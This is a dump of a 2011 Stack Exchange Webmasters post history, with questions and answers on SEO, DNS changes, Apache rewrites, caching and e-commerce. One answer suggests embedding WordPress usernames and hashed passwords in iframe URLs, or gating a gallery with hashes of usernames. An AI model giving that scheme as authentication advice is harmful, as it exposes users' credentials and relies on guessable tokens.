  <row Id="35473" PostHistoryTypeId="2" PostId="15059" RevisionGUID="ec0e3ee4-4587-4d3b-b301-69760a5d7d1c" CreationDate="2011-06-10T08:10:48.303" UserId="2185" Text="My hosting company changes IP in the range of 6 months... May be either the change the servers or the IP. So for the past 20 hours my site is not loading in my place (India) where as i checked with my friend by that time in Japan. He said that it is loading there. But here it is still not.&#xD;&#xA;&#xD;&#xA;The hosting company said that it will take max of 24-48 hours for propagation of DNS settings.&#xD;&#xA;&#xD;&#xA;So at this time when google webmasters and google search bots and google crawl bots access the site what will happen.&#xD;&#xA;&#xD;&#xA;Will this affect my SEO records in google? like not found or not reachable or network error?&#xD;&#xA;&#xD;&#xA;Each countries ISP would be updating the dns in their own order so when japan got updated india did not (my service provider is Barthi Broadband (Airtel India)) .&#xD;&#xA;&#xD;&#xA;I am unable to get into a conclusion.&#xD;&#xA;&#xD;&#xA;**Besides is this related to Up Stream and Down Stream?**" />
  <row Id="35474" PostHistoryTypeId="1" PostId="15059" RevisionGUID="ec0e3ee4-4587-4d3b-b301-69760a5d7d1c" CreationDate="2011-06-10T08:10:48.303" UserId="2185" Text="IP of my site in the shared hosting got changed and did not reflect yet. what will be the SEO concequence?" />
  <row Id="35475" PostHistoryTypeId="3" PostId="15059" RevisionGUID="ec0e3ee4-4587-4d3b-b301-69760a5d7d1c" CreationDate="2011-06-10T08:10:48.303" UserId="2185" Text="&lt;seo&gt;&lt;ip-address&gt;" />
  <row Id="35476" PostHistoryTypeId="2" PostId="15060" RevisionGUID="b47cf709-900f-4a7a-bd4c-564269b0ea2a" CreationDate="2011-06-10T08:11:22.043" UserId="8141" Text="I am using hidden texts in one of my websites for better page rank and after browsing some web i found it better not to use hidden texts.Does using hidden texts of keywords in webpage affects pagerank ? &#xD;&#xA;Does google block such types of site using hidden texts like same color of &#xD;&#xA;font as background." />
  <row Id="35477" PostHistoryTypeId="1" PostId="15060" RevisionGUID="b47cf709-900f-4a7a-bd4c-564269b0ea2a" CreationDate="2011-06-10T08:11:22.043" UserId="8141" Text="hidden texts and page rank" />
  <row Id="35478" PostHistoryTypeId="3" PostId="15060" RevisionGUID="b47cf709-900f-4a7a-bd4c-564269b0ea2a" CreationDate="2011-06-10T08:11:22.043" UserId="8141" Text="&lt;google&gt;&lt;pagerank&gt;" />
  <row Id="35479" PostHistoryTypeId="2" PostId="15061" RevisionGUID="3452949f-c2cb-4919-8949-1ea7de87da8d" CreationDate="2011-06-10T08:14:32.497" UserId="1643" Text="Yes.&#xD;&#xA;&#xD;&#xA;&gt; Hiding text or links in your content can cause your site to be&#xD;&#xA;&gt; perceived as untrustworthy since it&#xD;&#xA;&gt; presents information to search engines&#xD;&#xA;&gt; differently than to visitors.&#xD;&#xA;&gt; ...&#xD;&#xA;&#xD;&#xA;&gt; If your site is perceived to contain&#xD;&#xA;&gt; hidden text and links that are&#xD;&#xA;&gt; deceptive in intent, your site may be&#xD;&#xA;&gt; removed from the Google index, and&#xD;&#xA;&gt; will not appear in search results&#xD;&#xA;&gt; pages.&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?answer=66353" />
  <row Id="35480" PostHistoryTypeId="2" PostId="15062" RevisionGUID="e2b190ad-333d-4020-9fda-084ea687eec7" CreationDate="2011-06-10T08:22:11.840" UserId="1643" Text="The google bot will come back another time, it won't just give up because it got one failure. However if you think it has affected your ranking you can [request reconsideration][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35843" />
  <row Id="35481" PostHistoryTypeId="2" PostId="15063" RevisionGUID="2a4b8788-26fe-4328-ae7a-7dd078f43b27" CreationDate="2011-06-10T08:33:37.423" UserId="1643" Text="I think the HTML generator idea is the best. That's what I thought of before I got to that paragraph when I read your question. How much work it is depends on your programming experience, and if you have access to a webserver inside your organisation. If it weren't for the images then it would be a few lines of script such as (this isn't a real script):&#xD;&#xA;&#xD;&#xA;    open(file)&#xD;&#xA;    write(htmlheader + formheader1 + inbetweenbit + formtext1 + otherinbetweenbit +&#xD;&#xA;    formheader2 + inbetweenbit etc.&#xD;&#xA;    close(file)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The fiddly bit is uploading the images as I presume that aren't available on your website currently. However you can find various scripts on the internet which show you how to do that in your favourite scripting language. If the users can manage it they could resize them before they upload, or you could just display them at the right size in the HTML (but that takes up extra bandwidth for your recipients). Alternatively you could use [Image Magick][1] to do the resizing as it's available for a number of languages.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.imagemagick.org/" />
  <row Id="35482" PostHistoryTypeId="2" PostId="15064" RevisionGUID="c4214392-5a4f-4f6b-aecd-a08682da797b" CreationDate="2011-06-10T08:47:25.770" UserId="7198" Text="Downtime does not affect your rankings. Pagerank is based only on incoming links. However, excessive downtime may get your site temporarily removed from Google altogether until it comes back up again. &#xD;&#xA;&#xD;&#xA;Matt Cutts on [Can a site's downtime affect its ranking?](http://www.youtube.com/watch?v=qXrwyTGOf1E&amp;feature=player_embedded) [YouTube, 1:21 onwards]:&#xD;&#xA;&#xD;&#xA;&gt; &quot;If your website is down for a relatively small amount of time -- you know, a day or two -- then just bringing it back should mean that it pops right back into the search results, or it won't disappear at all. But at the point where your website is down for several days, or a week, or a month, then - yeah -- we probably are going to drop it from the search results, at least until we can fetch again, find it, index it, and return it.&quot;&#xD;&#xA;&#xD;&#xA;In short, you don't need to do anything except wait. You may like to point your DNS records to your hosting company's nameservers instead of a fixed IP address to prevent the downtime should they switch IP addresses again, though." />
  <row Id="35483" PostHistoryTypeId="2" PostId="15065" RevisionGUID="29507a37-4a44-4ca2-a5e7-ff51e99fe251" CreationDate="2011-06-10T08:57:11.647" UserId="7109" Text="I was wondering if the text editor we are actually using to ask and answer questions on SE is a home made solution, a free software project, something else?&#xD;&#xA;&#xD;&#xA;In case it is a free software, where can I download it? thanks" />
  <row Id="35484" PostHistoryTypeId="1" PostId="15065" RevisionGUID="29507a37-4a44-4ca2-a5e7-ff51e99fe251" CreationDate="2011-06-10T08:57:11.647" UserId="7109" Text="Which rich text editor it is used on SE? Is that under free licence?" />
  <row Id="35485" PostHistoryTypeId="3" PostId="15065" RevisionGUID="29507a37-4a44-4ca2-a5e7-ff51e99fe251" CreationDate="2011-06-10T08:57:11.647" UserId="7109" Text="&lt;javascript&gt;&lt;text-editor&gt;" />
  <row Id="35486" PostHistoryTypeId="2" PostId="15066" RevisionGUID="9d777ce8-d894-4161-bcea-30b887e401db" CreationDate="2011-06-10T09:11:27.010" UserId="8146" Text="I am looking for an ad manager script/syste (open source or paid) which can deliver different ads based on the IP - country of the visitors. Would be nice if you can name one if you know!&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="35487" PostHistoryTypeId="1" PostId="15066" RevisionGUID="9d777ce8-d894-4161-bcea-30b887e401db" CreationDate="2011-06-10T09:11:27.010" UserId="8146" Text="IP - Country based ad delivery" />
  <row Id="35488" PostHistoryTypeId="3" PostId="15066" RevisionGUID="9d777ce8-d894-4161-bcea-30b887e401db" CreationDate="2011-06-10T09:11:27.010" UserId="8146" Text="&lt;ads&gt;&lt;country-specific&gt;&lt;ip&gt;" />
  <row Id="35489" PostHistoryTypeId="25" PostId="15059" RevisionGUID="865c28d7-1fe4-4962-baf9-a51857869b94" CreationDate="2011-06-10T09:16:27.383" Comment="http://twitter.com/#!/StackWebmasters/status/79114692651528192" />
  <row Id="35491" PostHistoryTypeId="2" PostId="15068" RevisionGUID="cc07bc77-f773-4eb9-87d0-14f8c95bde44" CreationDate="2011-06-10T09:26:36.057" UserId="1643" Text="What you can't easily tell is if those visitors are search engines. However there's no reason why you can't start Adsense now and you may earn money. It may not be very much though unless you get more real visitors who wan't to click on the ads.&#xD;&#xA;" />
  <row Id="35492" PostHistoryTypeId="5" PostId="15047" RevisionGUID="4d68b91c-0158-4ee2-b3d6-3c07ff8d47c5" CreationDate="2011-06-10T09:31:33.283" UserId="8139" Comment="added 325 characters in body" Text="I'm sure many site admins must deal with this sort of problem all the time, but I don't have a really good and simple solution myself.  It is what happens when you overwrite an existing image on the server.  The site visitor's browser still displays the old one and must be refreshed to see the updated image (and stylesheet for that matter).&#xD;&#xA;&#xD;&#xA;So is there any simple solution to trick the browser to refresh the cache when there's a new image using the old name?  And yes, of course the obvious solution is to rename the image, but please bear with me on this and assume that's not always a good solution...&#xD;&#xA;&#xD;&#xA;And this is for Drupal sites in case that bears on the question.&#xD;&#xA;&#xD;&#xA;============================&#xD;&#xA;&#xD;&#xA;ANSWER: Based on the answer below, I am now using this code:&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    echo 'niceimage.jpg?'.date(&quot;dmHi&quot;, filemtime('niceimage.jpg'));&#xD;&#xA;    ?&gt;&#xD;&#xA;This automatically updates the image query string whenever the image-file is changed, based on the modification date of the image-file.&#xD;&#xA;" />
  <row Id="35493" PostHistoryTypeId="2" PostId="15069" RevisionGUID="00ad4da4-2991-499a-b3ac-813ce3583647" CreationDate="2011-06-10T09:42:45.927" UserId="7283" Text="I have a client who wants a little online store, it will have relatively few items, no categorization (maybe something very basic, maybe tags). Expected market is all over the world (US, Canada, UK, Israel, Russia, Ukraine, Japan). So the store needs to be able to accept as much payment methods as possible. (Paypal is not widespread in Russia, for example, due to certain limitations with its service.) Accepting credit cards (visas, master cards, etc.) is an absolute must.&#xD;&#xA;&#xD;&#xA;I am weighing different paths. Possible solutions I've thought of were:&#xD;&#xA;http://www.shopify.com/ or http://bigcartel.com/&#xD;&#xA;build something on my own.&#xD;&#xA;&#xD;&#xA;While I am a front-end developer, I don't fear back-end programming and I've experience with Django, Rails, Sinatra and all kinds of PHP (though I would prefer to not work with PHP again). I have also worked with liquid templates so theming Big Cartel or Shoppify is not a problem too. &#xD;&#xA;&#xD;&#xA;What are the things I need to consider if I will decide to build the store myself? What are the problems I will face when implementing different paying methods? What are typical problems with online stores?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="35494" PostHistoryTypeId="1" PostId="15069" RevisionGUID="00ad4da4-2991-499a-b3ac-813ce3583647" CreationDate="2011-06-10T09:42:45.927" UserId="7283" Text="Building an online store, things to consider." />
  <row Id="35495" PostHistoryTypeId="3" PostId="15069" RevisionGUID="00ad4da4-2991-499a-b3ac-813ce3583647" CreationDate="2011-06-10T09:42:45.927" UserId="7283" Text="&lt;ecommerce&gt;&lt;payments&gt;" />
  <row Id="35496" PostHistoryTypeId="2" PostId="15070" RevisionGUID="b3d13855-c81f-4b46-8a69-6258b7f15be4" CreationDate="2011-06-10T09:43:12.903" UserId="1643" Text="Your iframe method could work. You could extract the usernames and hashed passwords from the wordpress database and use them to create usernames and passwords on your gallery. The method for this would depend on what sort of server you have.&#xD;&#xA;&#xD;&#xA;You would then need to hack Wordpress to create an iframe with the source link having the username and hashed password embedded in it like this:&#xD;&#xA;&#xD;&#xA;    http://username:password@example.com/gallery&#xD;&#xA;&#xD;&#xA;Another method would be to tweak the php gallery so that it only works for certain unguessable URLs, and generate one of those for each user such as a hash of their username.&#xD;&#xA;&#xD;&#xA;    http://example.com/gallery/848f16b2c71813dde3479f77dd1b49d5&#xD;&#xA;&#xD;&#xA;This would mean less tweaking of Wordpress (no diving into the database) but more tweaking of your gallery CMS&gt;" />
  <row Id="35497" PostHistoryTypeId="6" PostId="15031" RevisionGUID="cdbc0b0e-96fe-49bb-82ce-3c4e93ab70d0" CreationDate="2011-06-10T09:43:29.830" UserId="1643" Comment="edited tags" Text="&lt;wordpress&gt;&lt;authentication&gt;" />
  <row Id="35498" PostHistoryTypeId="5" PostId="15052" RevisionGUID="bdadc3c8-576e-4583-9c5c-01acdb86bf54" CreationDate="2011-06-10T10:10:11.303" UserId="647" Comment="added 179 characters in body" Text="I’m not sure if I understand your question right. If you want to redirect all requests to `path` to `subdomain3.example.com` just compare the hosts:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^subdomain3\.example\.com$&#xD;&#xA;    RewriteRule ^path http://subdomain3.example.com/ [L,R=301]&#xD;&#xA;&#xD;&#xA;### Update &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^subdomain3\.example\.com$&#xD;&#xA;    # At least on character after /&#xD;&#xA;    RewriteRule (.+) http://subdomain3.example.com/$1 [L,R=301]" />
  <row Id="35499" PostHistoryTypeId="5" PostId="15052" RevisionGUID="6ced73eb-9ab5-4dca-90ee-16ce8ee49e7a" CreationDate="2011-06-10T10:38:52.330" UserId="647" Comment="added 1 characters in body" Text="I’m not sure if I understand your question right. If you want to redirect all requests to `path` to `subdomain3.example.com` just compare the hosts:&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^subdomain3\.example\.com$&#xD;&#xA;    RewriteRule ^path http://subdomain3.example.com/ [L,R=301]&#xD;&#xA;&#xD;&#xA;### Update &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^subdomain3\.example\.com$&#xD;&#xA;    # At least one character after /&#xD;&#xA;    RewriteRule (.+) http://subdomain3.example.com/$1 [L,R=301]" />
  <row Id="35500" PostHistoryTypeId="2" PostId="15071" RevisionGUID="2efad4b2-d0f4-4d91-87f3-62ab43b68531" CreationDate="2011-06-10T11:10:23.523" UserId="8148" Text="I've asked this before on Stackoverflow, but i figured moving it here would be appropriate. &#xD;&#xA;&#xD;&#xA;For presentational reasons, i'm currently build an Ajax/parameter driven page. I'm trying to figure out how to present it to google properly, which brought me at googles page here. The backend of the page would allow me to present a &quot;static&quot; version of the page with php. This raises the following question for me:&#xD;&#xA;&#xD;&#xA;What does google want/allow in the html snapshot? Do i need to present it with the excessive styling i use in the user version, or can i simply serve it the plain text/image content i dynamicly get in the user version? Also, can i have different metadata in the google version? (that is, specific metadata for every parameter based url, since altering it with javascript on the page itself would not be visible to google?)&#xD;&#xA;&#xD;&#xA;I hope i have made myself clear here.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="35501" PostHistoryTypeId="1" PostId="15071" RevisionGUID="2efad4b2-d0f4-4d91-87f3-62ab43b68531" CreationDate="2011-06-10T11:10:23.523" UserId="8148" Text="Content of html snapshot for Search engines" />
  <row Id="35502" PostHistoryTypeId="3" PostId="15071" RevisionGUID="2efad4b2-d0f4-4d91-87f3-62ab43b68531" CreationDate="2011-06-10T11:10:23.523" UserId="8148" Text="&lt;seo&gt;&lt;hash&gt;" />
  <row Id="35504" PostHistoryTypeId="6" PostId="15071" RevisionGUID="024baf4d-7562-40d1-843a-67a550274284" CreationDate="2011-06-10T11:24:16.887" UserId="1643" Comment="Added extra google tags." Text="&lt;seo&gt;&lt;google&gt;&lt;hash&gt;&lt;google-instant-preview&gt;" />
  <row Id="35505" PostHistoryTypeId="2" PostId="15073" RevisionGUID="491f66e1-3513-4e00-8170-fe94585ea691" CreationDate="2011-06-10T11:42:15.100" UserId="8150" Text="I'm curently moving vbulletin from one host to another, but when i configure the config file it redirects me to install/install.php and there are some errors.How to move it properly ?" />
  <row Id="35506" PostHistoryTypeId="1" PostId="15073" RevisionGUID="491f66e1-3513-4e00-8170-fe94585ea691" CreationDate="2011-06-10T11:42:15.100" UserId="8150" Text="vbulleting moving redirects to install" />
  <row Id="35507" PostHistoryTypeId="3" PostId="15073" RevisionGUID="491f66e1-3513-4e00-8170-fe94585ea691" CreationDate="2011-06-10T11:42:15.100" UserId="8150" Text="&lt;forum&gt;&lt;vbulletin&gt;" />
  <row Id="35508" PostHistoryTypeId="4" PostId="15073" RevisionGUID="47104e46-9a21-48a0-82d9-081878266336" CreationDate="2011-06-10T11:43:20.333" UserId="1643" Comment="edited title" Text="vbulletin moving redirects to install" />
  <row Id="35509" PostHistoryTypeId="10" PostId="15065" RevisionGUID="5e10c99c-d805-4c2b-902d-f39bdcbec088" CreationDate="2011-06-10T11:43:32.603" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="35510" PostHistoryTypeId="5" PostId="15059" RevisionGUID="0419a726-7084-4324-9b02-7b34b6179e02" CreationDate="2011-06-10T11:44:33.290" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Effect on Google rankings if my site is down?](http://webmasters.stackexchange.com/questions/13914/effect-on-google-rankings-if-my-site-is-down)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;My hosting company changes IP in the range of 6 months... May be either the change the servers or the IP. So for the past 20 hours my site is not loading in my place (India) where as i checked with my friend by that time in Japan. He said that it is loading there. But here it is still not.&#xD;&#xA;&#xD;&#xA;The hosting company said that it will take max of 24-48 hours for propagation of DNS settings.&#xD;&#xA;&#xD;&#xA;So at this time when google webmasters and google search bots and google crawl bots access the site what will happen.&#xD;&#xA;&#xD;&#xA;Will this affect my SEO records in google? like not found or not reachable or network error?&#xD;&#xA;&#xD;&#xA;Each countries ISP would be updating the dns in their own order so when japan got updated india did not (my service provider is Barthi Broadband (Airtel India)) .&#xD;&#xA;&#xD;&#xA;I am unable to get into a conclusion.&#xD;&#xA;&#xD;&#xA;**Besides is this related to Up Stream and Down Stream?**" />
  <row Id="35511" PostHistoryTypeId="10" PostId="15059" RevisionGUID="45b9d888-c5ef-4e05-a60c-7379b539e6b8" CreationDate="2011-06-10T11:44:32.963" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="35512" PostHistoryTypeId="5" PostId="15073" RevisionGUID="873aaf4f-1b14-42fa-b644-3a937770899e" CreationDate="2011-06-10T11:44:49.810" UserId="8150" Comment="added 360 characters in body; added 232 characters in body; added 50 characters in body" Text="I'm curently moving vbulletin from one host to another, but when i configure the config file it redirects me to install/install.php and there are some errors.How to move it properly ?&#xD;&#xA;&#xD;&#xA;*I edited the question, these are the errors in install but i don't know why it is giving them and why it is redirecting to the install Directory i only moved the database configure the config but.. it is not working properly*&#xD;&#xA;&#xD;&#xA;**&#xD;&#xA;&#xD;&#xA; - Warning:&#xD;&#xA;   require_once(host/includes/class_hook.php)&#xD;&#xA;   [function.require-once]: failed to&#xD;&#xA;   open stream: No such file or&#xD;&#xA;   directory in host/install/init.php on&#xD;&#xA;   line 225&#xD;&#xA; - Fatal error: require_once()&#xD;&#xA;   [function.require]: Failed opening&#xD;&#xA;   required&#xD;&#xA;   'host/includes/class_hook.php'&#xD;&#xA;   (include_path='.:/usr/lib/php:/usr/local/lib/php') in host/install/init.php on line&#xD;&#xA;   225**" />
  <row Id="35513" PostHistoryTypeId="5" PostId="15060" RevisionGUID="b917e43c-399a-46fb-82cc-d5dac4ee2cda" CreationDate="2011-06-10T11:45:40.373" UserId="1253" Comment="deleted 2 characters in body; edited tags" Text="I am using hidden texts in one of my websites for better page rank and after browsing some web i found it better not to use hidden texts. Does using hidden texts of keywords in webpage affects page rank ? Does google block such types of site using hidden texts like same color of font as background." />
  <row Id="35514" PostHistoryTypeId="6" PostId="15060" RevisionGUID="b917e43c-399a-46fb-82cc-d5dac4ee2cda" CreationDate="2011-06-10T11:45:40.373" UserId="1253" Comment="deleted 2 characters in body; edited tags" Text="&lt;google&gt;&lt;page-ranking&gt;" />
  <row Id="35515" PostHistoryTypeId="2" PostId="15074" RevisionGUID="d30780bb-6855-439d-a5ad-19bc367647a6" CreationDate="2011-06-10T11:47:30.560" UserId="1253" Text="This is the very definition of black hat SEO and probably the most obvious. Doing this is asking for a ban. " />
  <row Id="35516" PostHistoryTypeId="6" PostId="15071" RevisionGUID="9569aa5f-5a89-4456-ad24-f3ae0e9ca9d7" CreationDate="2011-06-10T11:47:57.853" UserId="1643" Comment="Removed tag, misunderstood question" Text="&lt;seo&gt;&lt;google&gt;&lt;hash&gt;" />
  <row Id="35518" PostHistoryTypeId="2" PostId="15075" RevisionGUID="d6ab6ecb-7d2a-4bd2-99eb-eb40676e2cce" CreationDate="2011-06-10T11:56:17.310" UserId="1253" Text="Why don't you just make sure your [Ajax powered content is crawlable?][1] Otherwise you're essentially building your site twice which is just silly. But if you take this route do not use different meta data. Even though meta tags do not affect rankings you may still run the risk of being seen as serving up special content to the search engines which is considered black hat and can get you penalized or banned.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/10/proposal-for-making-ajax-crawlable.html" />
  <row Id="35519" PostHistoryTypeId="5" PostId="15071" RevisionGUID="5225756c-73f0-4027-97ec-d3ea2b6763ec" CreationDate="2011-06-10T11:56:59.037" UserId="1643" Comment="Added link from comment on my first (deleted) answer as I think that was supposed to be there." Text="I've asked this before on Stackoverflow, but I figured moving it here would be appropriate. &#xD;&#xA;&#xD;&#xA;For presentational reasons, I'm currently build an Ajax/parameter driven page. I'm trying to figure out how to present it to Google properly, which brought me to Google's page [here][1]. The backend of the page would allow me to present a &quot;static&quot; version of the page with php. This raises the following question for me:&#xD;&#xA;&#xD;&#xA;What does Google want/allow in the html snapshot? Do I need to present it with the excessive styling I use in the user version, or can I simply serve it the plain text/image content I dynamically get in the user version? Also, can I have different metadata in the Google version? (that is, specific metadata for every parameter based url, since altering it with javascript on the page itself would not be visible to Google?)&#xD;&#xA;&#xD;&#xA;I hope i have made myself clear here.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/web/ajaxcrawling/docs/specification.html" />
  <row Id="35520" PostHistoryTypeId="2" PostId="15076" RevisionGUID="cd24ded0-7a73-4024-834c-40f66f840198" CreationDate="2011-06-10T12:04:06.780" UserId="7962" Text="Although it's a small store, I'd go with building one store for each target country. Chances are you're going to confuse your visitors with several payment methods." />
  <row Id="35521" PostHistoryTypeId="10" PostId="15069" RevisionGUID="b113728b-247f-4d1b-8282-acfd95e096d4" CreationDate="2011-06-10T12:09:30.190" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="35522" PostHistoryTypeId="25" PostId="15071" RevisionGUID="fa08f320-b6d0-457c-89db-5260da823861" CreationDate="2011-06-10T12:16:28.350" Comment="http://twitter.com/#!/StackWebmasters/status/79159994485977089" />
  <row Id="35523" PostHistoryTypeId="2" PostId="15077" RevisionGUID="95e3b91b-17e1-42b9-b6cb-2a36923cd065" CreationDate="2011-06-10T12:22:11.043" UserId="6260" Text="This seems to be when there is a link to a website in the user's profile. Posting a message usually includes a link to their profile. Their profile has a link to their website. People won't follow the chain but search engine crawlers will, and the thinking is that they'll see lots of links to that website from all kinds of other sites so it much be really popular and put it at the top of their results.&#xD;&#xA;&#xD;&#xA;No idea if that actually works, but I believe that is the thinking behind it" />
  <row Id="35528" PostHistoryTypeId="2" PostId="15079" RevisionGUID="b87b5127-3563-49a5-814b-f9d26295c65a" CreationDate="2011-06-10T13:05:03.127" UserId="1064" Text="Take down any scripts which may contain exploitable code to prevent further abuse immediately. A malicious user who has enumerated an SQL injection vulnerability has his foot in the door to cause some serious problems for your site and you're asking for trouble if you are working to fix the problem while the exploit remains available.&#xD;&#xA;&#xD;&#xA;Once you have secured your site, you can audit questionable code to patch the issue - look for any `mysql_query()` or `mysqli_query()` calls which include variables which are not wrapped in `mysql_real_escape_string()` or `mysqli_real_escape_string()` calls (ideally, you'll replace these calls with [prepared statements][1] using bound parameters).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://php.net/manual/en/pdo.prepared-statements.php" />
  <row Id="35534" PostHistoryTypeId="17" PostId="15082" RevisionGUID="56dd7138-fd94-446b-aa76-8eac21c4d47f" CreationDate="2011-06-10T13:33:27.110" UserId="-1" Comment="from http://stackoverflow.com/questions/6300097/disqus-comment-form-missing-from-posts" Text="" />
  <row Id="35535" PostHistoryTypeId="2" PostId="15082" RevisionGUID="e2abab59-2728-47d3-aa55-594c6b36061f" CreationDate="2011-06-09T22:33:26.780" UserDisplayName="Saad" Text="I decided to transition from IntenseDebate to Disqus for the blog. So I uninstalled ID via their uninstall process (you upload the template to them, they remove code, you reupload your new template onto the site). &#xD;&#xA;&#xD;&#xA;Then I went to install Disqus into the site through their Blogger widget method. The problem is that there is no comment form present on any of the blog posts' pages. For example, when you click on the 'Comments' link it jumps to #disqus-thread but there is no thread there.&#xD;&#xA;&#xD;&#xA;So is there any fix that I can do in order to make the comment form appear? I checked Disqus' [knowledgebase for Blogger installation][2] but as far as I can tell my template should be compatible.&#xD;&#xA;" />
  <row Id="35536" PostHistoryTypeId="1" PostId="15082" RevisionGUID="e2abab59-2728-47d3-aa55-594c6b36061f" CreationDate="2011-06-09T22:33:26.780" UserDisplayName="Saad" Text="Disqus Comment Form Missing from Posts" />
  <row Id="35537" PostHistoryTypeId="3" PostId="15082" RevisionGUID="e2abab59-2728-47d3-aa55-594c6b36061f" CreationDate="2011-06-09T22:33:26.780" UserDisplayName="Saad" Text="&lt;comments&gt;&lt;blogger&gt;" />
  <row Id="35538" PostHistoryTypeId="2" PostId="15083" RevisionGUID="ef50455e-fae6-4404-8f95-fbf345fb57b9" CreationDate="2011-06-10T13:50:02.373" UserId="6033" Text="Already read this: http://webmasters.stackexchange.com/questions/5608/how-can-i-create-links-in-javascript-that-are-crawlable-by-search-engines&#xD;&#xA;&#xD;&#xA;I make the assumption that if you view source on a page and can find content / links hidden by javascript contained within appropriate html tags after the page is finished loading the first time, then crawlers can find the content / links as well. Is this true? Also is there any special markup available that will highlight the content to a search engine?&#xD;&#xA;&#xD;&#xA;Is finding the content in the html after initial page load an appropriate test whether the javascript on a page is Search engine friendly?" />
  <row Id="35539" PostHistoryTypeId="1" PostId="15083" RevisionGUID="ef50455e-fae6-4404-8f95-fbf345fb57b9" CreationDate="2011-06-10T13:50:02.373" UserId="6033" Text="Litmus test to determine if javascript content is crawlable" />
  <row Id="35540" PostHistoryTypeId="3" PostId="15083" RevisionGUID="ef50455e-fae6-4404-8f95-fbf345fb57b9" CreationDate="2011-06-10T13:50:02.373" UserId="6033" Text="&lt;javascript&gt;&lt;seo-friendly&gt;" />
  <row Id="35541" PostHistoryTypeId="2" PostId="15084" RevisionGUID="ad7015f3-9187-4a7e-97ad-832246967422" CreationDate="2011-06-10T14:00:09.747" UserId="1253" Text="In general, [JavaScript is not search engine friendly][1] and by default you should assume that any content generated by it will be invisible to the search engines. Crawlable Ajax being the only definitive exception (which is supported only by Google).&#xD;&#xA;&#xD;&#xA;However, there is a lot of talk of [Googlebot processing JavaScript][2] so although it has not been confirmed by Google it is possible that Google can find content created by JavaScript.&#xD;&#xA;&#xD;&#xA;Notice how I keep saying Google? Unfortunately they aren't the only search engine. Additionally, [crawlable Ajax is a terrible idea][3] ([more][4] and more) and bad for accessibility and there are other search engines out there that won't find this content. So, as always, use [progressive enhancement][5]. Make sure that content can be reached without JavaScript being enabled.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2007/11/spiders-view-of-web-20.html&#xD;&#xA;  [2]: http://mashable.com/2010/06/25/google-javascript/&#xD;&#xA;  [3]: http://isolani.co.uk/blog/javascript/BreakingTheWebWithHashBangs&#xD;&#xA;  [4]: http://www.tbray.org/ongoing/When/201x/2011/02/09/Hash-Blecch&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/Progressive_enhancement" />
  <row Id="35542" PostHistoryTypeId="2" PostId="15085" RevisionGUID="f3c064a8-6c0e-4bb9-a417-68cdac6efa92" CreationDate="2011-06-10T14:01:12.967" UserId="8153" Text="what's the name of technique, where you pass parameters like that:&#xD;&#xA;    http://polygamia.pl/Polygamia/1,107163,9739140,Przywitalismy_sie_z_PS_Vita.html?bo=1 ( I mean these ',')&#xD;&#xA;&#xD;&#xA;How it is done, as I can see it is html file, but it somehow must process parameters?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;" />
  <row Id="35543" PostHistoryTypeId="1" PostId="15085" RevisionGUID="f3c064a8-6c0e-4bb9-a417-68cdac6efa92" CreationDate="2011-06-10T14:01:12.967" UserId="8153" Text="Passing parameters with ," />
  <row Id="35544" PostHistoryTypeId="3" PostId="15085" RevisionGUID="f3c064a8-6c0e-4bb9-a417-68cdac6efa92" CreationDate="2011-06-10T14:01:12.967" UserId="8153" Text="&lt;html&gt;" />
  <row Id="35545" PostHistoryTypeId="2" PostId="15086" RevisionGUID="d54f058c-c7f1-4707-9975-b68709c6210f" CreationDate="2011-06-10T14:06:22.507" UserId="8153" Text="how can I configure Apache server, to mantain requests such as:&#xD;&#xA;    http://developers.facebook.com/docs/reference/fql/&#xD;&#xA;(i mean the /one/two/three)?&#xD;&#xA;&#xD;&#xA;What's the name of this technique and how it is done?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="35546" PostHistoryTypeId="1" PostId="15086" RevisionGUID="d54f058c-c7f1-4707-9975-b68709c6210f" CreationDate="2011-06-10T14:06:22.507" UserId="8153" Text="Requests in form: http://www.site.com/one/two/three/ in Apache 2" />
  <row Id="35547" PostHistoryTypeId="3" PostId="15086" RevisionGUID="d54f058c-c7f1-4707-9975-b68709c6210f" CreationDate="2011-06-10T14:06:22.507" UserId="8153" Text="&lt;apache&gt;" />
